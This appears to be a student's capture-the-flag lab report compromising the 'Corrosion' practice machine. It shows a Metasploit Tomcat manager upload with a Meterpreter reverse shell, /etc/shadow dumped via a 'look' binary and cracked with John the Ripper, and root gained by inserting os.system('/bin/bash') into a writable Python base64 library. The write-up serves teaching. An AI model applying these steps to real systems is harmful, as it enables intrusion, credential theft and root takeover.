

Experiment 8: CTF (Exploitation and Privilege Escalation)

Aim: To demonstrate ethical hacking for a vulnerable machine using various tools.

Learning Outcomes:

After completion of this experiment, student should be able to

1. Use various tools like netdiscover, Metasploit framework, nmap, dirb etc.
2. Implement ethical hacking methodology
3. Compromise vulnerable machine

Theory:

Figure 1 below indicates basic steps involved in hacking.



Figure 1: Basic Hacking Process

Some of the tools that you are may use in this lab are

Network Scanning

- netdiscover
- nmap

Enumeration

- dirb
- fcrackzip

Exploitation

- Metasploit
- /etc/shadow
- john

Privilege Escalation

- ssh
- python library hijacking
- root flag

Procedure Screenshots:

Kali-Linux-2021.3-vbox-amd64 [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
File Actions Edit View Help
msf6 > search tomcat

```
Matching Modules
#  Name
0 auxiliary/dos/http/apache_commons_fileupload_dos
1 exploit/multi/http.struts2_dev_mode
2 exploit/multi/http/struts2_namespace_ognl
3 exploit/multi/http/struts_code_exec_classloader
4 exploit/windows/http/tomcat_cgi_cmdlineargs
5 exploit/multi/http/tomcat_mgr_deploy
6 exploit/multi/http/tomcat_mgr_upload
7 auxiliary/dos/http/apache_tomcat_transfer_encoding
8 auxiliary/scanner/http/tomcat_enum
9 exploit/windows/http/cayin_xpost_sql_rce
10 exploit/multi/http/cisco_dcmm_upload_2019
11 exploit/linux/http/cisco_hypertext_file_upload_cmd_exec
12 exploit/linux/http/cisco_hypertext_file_upload_rce
13 exploit/linux/http/cpi_tararchive_upload
14 exploit/linux/http/cisco_prime_inf_rce
15 post/multi/gather/tomcat_gather
16 auxiliary/admin/http/tomcat_ghostcat
17 auxiliary/dos/http/hashcollision_dos
18 auxiliary/admin/http/ibm_drm_download
19 exploit/linux/http/lucee_admin_impprocess_file_write
20 exploit/multi/http/zemworks_configuration_management_upload
21 auxiliary/admin/http/tomcat_administration
22 auxiliary/scanner/http/tomcat_login
23 exploit/multi/http/tomcat_jsp_upload_bypass
24 auxiliary/admin/http/tomcat_utf8_traversal
25 auxiliary/admin/http/trendmicro_dtpp_traversal
26 post/windows/gather/enum_tomcat

Interact with a module by name or index. For example info 26, use 26 or use post/windows/gather/enum_tomcat
```

msf6 >

Type here to search 27°C Haze ENG 13:01 21-03-2023

kali@kali: ~

```
File Actions Edit View Help
HttpPassword melehfifokivai no The password for the specified username
HttpUsername admin no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.2.4 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
REPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST no HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
-- --
0 Java Universal

msf6 exploit(multi/http/tomcat_mgr_upload) > save
Saved configuration to: /root/.msf4/config
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying It3W4iQsVqvOfImDjm...
[*] Executing It3W4iQsVqvOfImDjm...
[*] Undeploying It3W4iQsVqvOfImDjm ...
[*] Sending stage (58060 bytes) to 10.0.2.4
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.4:44770) at 2023-03-21 03:34:44 -0400

meterpreter > getuid
Server username: tomcat
```

File Actions Edit View Help

Mode	Size	Type	Last modified	Name
40554/r-xr-xr--	36864	dir	2021-09-17 23:48:54 -0400	bin
40554/r-xr-xr--	4096	dir	2021-09-17 23:47:53 -0400	boot
40554/r-xr-xr--	4096	dir	2021-09-16 19:19:03 -0400	cdrom
40554/r-xr-xr--	4080	dir	2023-03-21 08:03:34 -0400	dev
40554/r-xr-xr--	12288	dir	2021-09-17 23:48:54 -0400	etc
40554/r-xr-xr--	4096	dir	2021-09-17 03:37:05 -0400	home
40554/r-xr-xr--	4096	dir	2021-09-17 23:48:04 -0400	lib
40554/r-xr-xr--	4096	dir	2021-08-19 06:29:17 -0400	lib32
40554/r-xr-xr--	4096	dir	2021-08-19 06:30:50 -0400	lib64
40554/r-xr-xr--	4096	dir	2021-08-19 06:29:17 -0400	libx32
40000/-----	16384	dir	2021-09-16 19:16:30 -0400	lost+found
40554/r-xr-xr--	4096	dir	2021-09-20 21:47:20 -0400	media
40554/r-xr-xr--	4096	dir	2021-08-19 06:29:24 -0400	mnt
40554/r-xr-xr--	4096	dir	2021-09-17 00:00:39 -0400	opt
40554/r-xr-xr--	0	dir	2023-03-21 08:03:19 -0400	proc
40000/-----	4096	dir	2021-09-20 22:18:01 -0400	root
40554/r-xr-xr--	880	dir	2023-03-21 08:08:32 -0400	run
40554/r-xr-xr--	20480	dir	2021-09-17 23:47:34 -0400	sbin
40554/r-xr-xr--	4096	dir	2023-02-27 06:47:45 -0500	snap
40554/r-xr-xr--	4096	dir	2021-08-19 06:29:24 -0400	srv
100000/-----	771036160	fil	2021-09-16 19:16:31 -0400	swapfile
40554/r-xr-xr--	0	dir	2023-03-21 08:03:19 -0400	sys
40776/rwxrwxrw-	4096	dir	2023-03-21 09:04:44 -0400	tmp
40554/r-xr-xr--	4096	dir	2021-08-19 06:32:34 -0400	usr
40554/r-xr-xr--	4096	dir	2021-09-17 01:29:17 -0400	var

```
meterpreter > cd home
meterpreter > ls
Listing: /home
=====


| Mode            | Size | Type | Last modified             | Name  |
|-----------------|------|------|---------------------------|-------|
| 40110/--x--x--- | 4096 | dir  | 2021-09-17 22:53:30 -0400 | jaye  |
| 40554/r-xr-xr-- | 4096 | dir  | 2021-09-20 21:57:04 -0400 | randy |


meterpreter > 
```

```
qterminal
kali@kali: ~
File Actions Edit View Help
100445/r--r--r-x 3771 fil 2021-09-16 19:19:26 -0400 .bashrc
40555/r-xr-xr-x 4096 dir 2021-09-17 05:04:24 -0400 .cache
40001/-----x 4096 dir 2021-09-16 19:24:26 -0400 .config
40001/-----x 4096 dir 2021-09-20 21:49:53 -0400 .gnupg
40555/r-xr-xr-x 4096 dir 2021-09-16 19:23:06 -0400 .local
100445/r--r--r-x 807 fil 2021-09-16 19:19:26 -0400 .profile
40001/-----x 4096 dir 2021-09-17 04:01:22 -0400 .ssh
100445/r--r--r-x 0 fil 2021-09-16 23:57:30 -0400 .sudo_as_admin_successful
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Desktop
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Documents
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Downloads
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Music
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Pictures
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Public
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Templates
40554/r-xr-xr-- 4096 dir 2021-09-16 19:23:08 -0400 Videos
100444/r---r-- 283 fil 2021-09-20 21:56:52 -0400 note.txt
100554/r-xr-xr-- 210 fil 2021-09-20 21:48:41 -0400 randombase64.py
100444/r---r-- 33 fil 2021-09-17 04:09:56 -0400 user.txt

meterpreter > cat note.txt
Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know
that I changed your permissions for your home directory. You won't be able to remove or add files for now.

I will change these permissions later on.

See you next Monday randy!
meterpreter > cat user.txt
ca73a018ae6908a7d0ea5d1c269ba4b6
meterpreter > cat randombase64.py
import base64

message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')

print(base64_message)
meterpreter > 
```

```
kali@kali:~ 
File Actions Edit View Help
ls: cannot open directory '': Permission denied
tomcat@corrosion:/home/jaye$ su jaye
su jaye
Password: melehifokivai

$ ls
ls File System
Desktop Downloads Music Public Templates
Documents Files Pictures snap Videos
$ cd Files
cd Files
$ ls Home
ls
look
$ cat look
cat look
cat: look: Permission denied
$ ./look '' /etc/shadow
./look '' /etc/shadow
root:$6$fHvHhNo5DwsYxgt0$.3upyGTbu9RjpoCkHFW.1F9mq5dxjwcqeZl0KnwEr0vXXzi7Tld2lAeYeIio/9BFPjUCyaBeLgVH1yK.50R57.:18888:0:99999:7:::
daemon:*:18858:0:99999:7:::
bin:*:18858:0:99999:7:::
sys:*:18858:0:99999:7:::
sync:*:18858:0:99999:7:::
games:*:18858:0:99999:7:::
man:*:18858:0:99999:7:::
lp:*:18858:0:99999:7:::
mail:*:18858:0:99999:7:::
news:*:18858:0:99999:7:::
uucp:*:18858:0:99999:7:::
proxy:*:18858:0:99999:7:::
backup:*:18858:0:99999:7:::
list:*:18858:0:99999:7:::
irc:*:18858:0:99999:7:::
gnats:*:18858:0:99999:7:::
nobody:*:18858:0:99999:7:::
systemd-network:*:18858:0:99999:7:::
systemd-resolve:*:18858:0:99999:7:::
systemd-timesync:*:18858:0:99999:7:::
```

```
gnats:*:18858:0:99999:7:::
nobody:*:18858:0:99999:7:::
systemd-network:*:18858:0:99999:7:::
systemd-resolve:*:18858:0:99999:7:::
systemd-timesync:*:18858:0:99999:7:::
messagebus:*:18858:0:99999:7:::
syslog:*:18858:0:99999:7:::
_apt:*:18858:0:99999:7:::
tss:*:18858:0:99999:7:::
uuidd:*:18858:0:99999:7:::
tcpdump:*:18858:0:99999:7:::
avahi-autoipd:*:18858:0:99999:7:::
usbmux:*:18858:0:99999:7:::
rtkit:*:18858:0:99999:7:::
dnsmasq:*:18858:0:99999:7:::
cups-pk-helper:*:18858:0:99999:7:::
speech-dispatcher:*:18858:0:99999:7:::
avahi-*:18858:0:99999:7:::
kernoops-*:18858:0:99999:7:::
saned-*:18858:0:99999:7:::
nm-openvpn-*:18858:0:99999:7:::
hplip-*:18858:0:99999:7:::
whoopsie-*:18858:0:99999:7:::
colord-*:18858:0:99999:7:::
geoclue-*:18858:0:99999:7:::
pulse-*:18858:0:99999:7:::
gnome-initial-setup-*:18858:0:99999:7:::
gdm-*:18858:0:99999:7:::
sssd-*:18858:0:99999:7:::
randy:$6$bQ8rY//73PoUA4lFX$1/aKxdkuh5hF8D78k50BZ4eInDWklwQgmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
systemd-coredump-!!:18886:::::
tomcat:$6$xD2Bs.tL01_50T2b$.uXUR3ysfujHGaz1YKj1l9XUOMhHckDPXYLTexsWbDWqI09ML40CQZPI04ebbYzVNBFmgv3Mp3.8znPfrBNC1:18888:0:99999:7:::
sshd-*:18887:0:99999:7:::
jaye:$6$Chrgtd4U/B1J3g$YieAWKM.usvi/JxpfwYA6vbW/szakiI1kerC4/JJNMpDUYKavQbnZeUh4WL/fB/4vrzX0LvKVWu60dq4SOQZB0:18887:0:99999:7:::
$
```

```
UTM File Edit View Window Help 51°C 100% arushirai Sun 26 Mar 16:40:05
arushi@kali: ~
File Actions Edit View Help
arushi@kali: ~ x arushi@kali: ~ x arushi@kali: ~ x
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
fopen: downloads/rockyou.txt: No such file or directory
(arushi@kali)-[~]
$ cd Downloads
(arushi@kali)-[~/Downloads]
$ ls
rockyou.txt
(arushi@kali)-[~/Downloads]
$ cd ..
(arushi@kali)-[~]
$ john --wordlist=Downloads/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:27 0.57% (ETA: 17:56:34) 0g/s 3597p/s 3597c/s 3597C/s erica18..brett5
0g 0:00:01:01 1.27% (ETA: 17:57:42) 0g/s 3512p/s 3512c/s 3512C/s pkitty..pakala
0g 0:00:01:10 1.47% (ETA: 17:57:04) 0g/s 3531p/s 3531c/s 3531C/s chasper..cabiles
0g 0:00:01:26 1.81% (ETA: 17:56:53) 0g/s 3527p/s 3527c/s 3527C/s kika24..karalho
0g 0:00:03:01 3.76% (ETA: 17:57:53) 0g/s 3434p/s 3434c/s 3434C/s makyra..magkawas
0g 0:00:06:56 8.73% (ETA: 17:57:02) 0g/s 3374p/s 3374c/s 3374C/s peaceupatowntown..pbw8np
0g 0:00:08:13 10.49% (ETA: 17:55:57) 0g/s 3392p/s 3392c/s 3392C/s jhay-l..jgmmjs
0g 0:00:08:28 10.83% (ETA: 17:55:47) 0g/s 3390p/s 3390c/s 3390C/s iheartjen..ihate2005
0g 0:00:16:26 21.77% (ETA: 17:53:07) 0g/s 3369p/s 3369c/s 3369C/s teamojessyka..teamogulle
0g 0:00:18:49 25.15% (ETA: 17:52:26) 0g/s 3355p/s 3355c/s 3355C/s shola12..shoesurf2007
0g 0:00:29:23 39.51% (ETA: 17:52:00) 0g/s 3283p/s 3283c/s 3283C/s marianunez12121..marianita291289
0g 0:00:40:46 55.30% (ETA: 17:51:20) 0g/s 3268p/s 3268c/s 3268C/s fuzzy5000..fuz121277
0g 0:00:53:03 72.48% (ETA: 17:50:49) 0g/s 3260p/s 3260c/s 3260C/s acr1812..acorna7000
0g 0:00:56:47 77.11% (ETA: 17:51:16) 0g/s 3243p/s 3243c/s 3243C/s JESSY5...JESSE2000
0g 0:00:58:46 79.75% (ETA: 17:51:19) 0g/s 3240p/s 3240c/s 3240C/s Amby101..Amandamae7
0g 0:01:07:26 90.86% (ETA: 17:51:51) 0g/s 3239p/s 3239c/s 3239C/s 1911253115..19102305
0g 0:01:07:59 91.63% (ETA: 17:51:49) 0g/s 3240p/s 3240c/s 3240C/s 15081780..150689na
0g 0:01:08:06 91.80% (ETA: 17:51:48) 0g/s 3241p/s 3241c/s 3241C/s 143cispoy..143april22
0g 0:01:08:44 92.70% (ETA: 17:51:46) 0g/s 3241p/s 3241c/s 3241C/s 1209422..120889d
07051986randy (?)
1g 0:01:11:34 DONE (2023-03-26 17:49) 0.000232g/s 3243p/s 3243c/s 3243C/s 070552525..070488693
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
UTM File Edit View Window Help 43°C 100% arushirai Sun 26 Mar 17:58:27
arushi@kali: ~
File Actions Edit View Help
arushi@kali: ~ x arushi@kali: ~ x arushi@kali: ~ x
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:27 0.57% (ETA: 17:56:34) 0g/s 3597p/s 3597c/s 3597C/s erica18..brett5
0g 0:00:01:01 1.27% (ETA: 17:57:42) 0g/s 3512p/s 3512c/s 3512C/s pkitty..pakala
0g 0:00:01:10 1.47% (ETA: 17:57:04) 0g/s 3531p/s 3531c/s 3531C/s chasper..cabiles
0g 0:00:01:26 1.81% (ETA: 17:56:53) 0g/s 3527p/s 3527c/s 3527C/s kika24..karalho
0g 0:00:03:01 3.76% (ETA: 17:57:53) 0g/s 3434p/s 3434c/s 3434C/s makyra..magkawas
0g 0:00:06:56 8.73% (ETA: 17:57:02) 0g/s 3374p/s 3374c/s 3374C/s peaceupatowntown..pbw8np
0g 0:00:08:13 10.49% (ETA: 17:55:57) 0g/s 3392p/s 3392c/s 3392C/s jhay-l..jgmmjs
0g 0:00:08:28 10.83% (ETA: 17:55:47) 0g/s 3390p/s 3390c/s 3390C/s iheartjen..ihate2005
0g 0:00:16:26 21.77% (ETA: 17:53:07) 0g/s 3369p/s 3369c/s 3369C/s teamojessyka..teamogulle
0g 0:00:18:49 25.15% (ETA: 17:52:26) 0g/s 3355p/s 3355c/s 3355C/s shola12..shoesurf2007
0g 0:00:29:23 39.51% (ETA: 17:52:00) 0g/s 3283p/s 3283c/s 3283C/s marianunez12121..marianita291289
0g 0:00:40:46 55.30% (ETA: 17:51:20) 0g/s 3268p/s 3268c/s 3268C/s fuzzy5000..fuz121277
0g 0:00:53:03 72.48% (ETA: 17:50:49) 0g/s 3260p/s 3260c/s 3260C/s acr1812..acorna7000
0g 0:00:56:47 77.11% (ETA: 17:51:16) 0g/s 3243p/s 3243c/s 3243C/s JESSY5...JESSE2000
0g 0:00:58:46 79.75% (ETA: 17:51:19) 0g/s 3240p/s 3240c/s 3240C/s Amby101..Amandamae7
0g 0:01:07:26 90.86% (ETA: 17:51:51) 0g/s 3239p/s 3239c/s 3239C/s 1911253115..19102305
0g 0:01:07:59 91.63% (ETA: 17:51:49) 0g/s 3240p/s 3240c/s 3240C/s 15081780..150689na
0g 0:01:08:06 91.80% (ETA: 17:51:48) 0g/s 3241p/s 3241c/s 3241C/s 143cispoy..143april22
0g 0:01:08:44 92.70% (ETA: 17:51:46) 0g/s 3241p/s 3241c/s 3241C/s 1209422..120889d
07051986randy (?)
1g 0:01:11:34 DONE (2023-03-26 17:49) 0.000232g/s 3243p/s 3243c/s 3243C/s 070552525..070488693
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
Apple UTM File Edit View Window Help 43°C 100% arushirai Sun 26 Mar 15:56 | G
New tab + randy@corrosion:~ 15:56
File Actions Edit View Help
└$ sudo ssh randy@192.168.64.6
[sudo] password for arushi: 
The authenticity of host '192.168.64.6 (192.168.64.6)' can't be established.
ED25519 key fingerprint is SHA256:zKtKAXyhL0euYM1nLav6ZWVRGZ4c2NxUZ+mMIU3VImg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.64.6' (ED25519) to the list of known hosts.
randy@192.168.64.6's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

19 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
randy@corrosion:~$ sudo -l
[sudo] password for randy:
Matching Defaults entries for randy on corrosion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User randy may run the following commands on corrosion:
    (root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
randy@corrosion:~$
```

```
randy@corrosion:~$ cat /home/randy/randombase64.py
import base64

message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')

print(base64_message)
```

```
Apple UTM File Edit View Window Help 42°C 100% arushirai Sun 26 Mar 16:00:13
New Tab File Actions Edit View Help randy@corrosion: ~
/snap/core20/1852/usr/lib/python3.8/encodings/_pycache__/base64_codec.cpython-38.pyc
/snap/gnome-3-34-1804/72/usr/lib/python2.7/base64.py Google Hacking DB OffSec
/snap/gnome-3-34-1804/72/usr/lib/python2.7/email/base64mime.py
/snap/gnome-3-34-1804/72/usr/lib/python2.7/encodings/base64_codec.py
/snap/gnome-3-34-1804/72/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/72/usr/lib/python3.6/_pycache__/base64.cpython-36.pyc
/snap/gnome-3-34-1804/72/usr/lib/python3.6/email/base64mime.py
/snap/gnome-3-34-1804/72/usr/lib/python3.6/email/_pycache__/base64mime.cpython-36.pyc
/snap/gnome-3-34-1804/72/usr/lib/python3.6/encodings/base64_codec.py
/snap/gnome-3-34-1804/77/usr/lib/python2.7/base64.py
/snap/gnome-3-34-1804/77/usr/lib/python2.7/email/base64mime.py
/snap/gnome-3-34-1804/77/usr/lib/python2.7/encodings/base64_codec.py
/snap/gnome-3-34-1804/77/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/77/usr/lib/python3.6/_pycache__/base64.cpython-36.pyc
/snap/gnome-3-34-1804/77/usr/lib/python3.6/email/base64mime.py
/snap/gnome-3-34-1804/77/usr/lib/python3.6/email/_pycache__/base64mime.cpython-36.pyc
/snap/gnome-3-34-1804/77/usr/lib/python3.6/encodings/base64_codec.py
/usr/bin/base64
/usr/lib/python3.8/base64.py
/usr/lib/python3.8/_pycache__/base64.cpython-38.pyc
/usr/lib/python3.8/email/base64mime.py
/usr/lib/python3.8/email/_pycache__/base64mime.cpython-38.pyc
/usr/lib/python3.8/encodings/base64_codec.py
/usr/lib/python3.8/encodings/_pycache__/base64_codec.cpython-38.pyc
/usr/share/man/man1/base64.1.gz
/usr/share/mime/application/x-spkac+base64.xml
randy@corrosion:~$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxrwx 1 root root 20386 Sep 20 2021 /usr/lib/python3.8/base64.py
randy@corrosion:~$
```

```
Apple UTM File Edit View Window Help 44°C 100% arushirai Sun 26 Mar 16:05:54
New Tab File Actions Edit View Help randy@corrosion: ~
randy@corrosion:~$ nano /usr/lib/python3.8/base64.py
randy@corrosion:~$ cat /usr/lib/python3.8/base64.py Google Hacking DB OffSec
#!/usr/bin/python3.8
# 192.168.64.6:8080

"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""

# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere

import re
import struct
import binascii
import os
os.system("/bin/bash")

__all__ = [
    # Legacy interface exports traditional RFC 2045 Base64 encodings
    'encode', 'decode', 'encodebytes', 'decodebytes',
    # Generalized interface for other encodings
    'b64encode', 'b64decode', 'b32encode', 'b32decode',
    'b16encode', 'b16decode',
    # Base85 and Ascii85 encodings
    'b85encode', 'b85decode', 'a85encode', 'a85decode',
    # Standard Base64 encoding
    'standard_b64encode', 'standard_b64decode',
    # Some common Base64 alternatives. As referenced by RFC 3458, see thread
    # starting at:
    #
```

```
root@corrosion:~# def test():
    s0 = b"Aladdin:open sesame"
    print(repr(s0))
    s1 = encodebytes(s0)
    print(repr(s1))
    s2 = decodebytes(s1)
    print(repr(s2))
    assert s0 == s2

if __name__ == '__main__':
    main()
randy@corrosion:~$ sudo /usr/lib/python3.8 /home/randy/randombase64.py
sudo: /usr/lib/python3.8: command not found
randy@corrosion:~$ sudo /usr/bin/python3.8 /home/randy/randombase64.py
root@corrosion:/home/randy# cd ..
root@corrosion:/home# cd ..
root@corrosion:# pwd
/
root@corrosion:# cd /root
root@corrosion:~# pwd
/root
root@corrosion:~# ls
root.txt snap
root@corrosion:~# cat root.txt
2fdbf8d4f894292361d6c72c8e833a4b
root@corrosion:~#
```

Review question:

1. Which metasploit exploit have you used?

I have used the multi/http/tomcat_mgr_upload exploit.

2. How many users are found?

Two

- Jaye
- Randy

3. What's their username and password?

Jaye's password is "melehilokivai"

Randy's password is "07051986randy"

4. Which password cracking mechanism has been used in this case?

I have used 'John The Ripper' mechanism to crack the password. It uses a rainbow table/dictionary attack to brute-force the password. I have used the RockYou wordlist for the same.

5. Which library is used for privilege escalation?

The Python 3.8 library Base64 is used for privilege escalation, coupled with the OS library, which we use to modify the code's execution's directory to /bin/bash, which enables us to elevate our privilege access to root.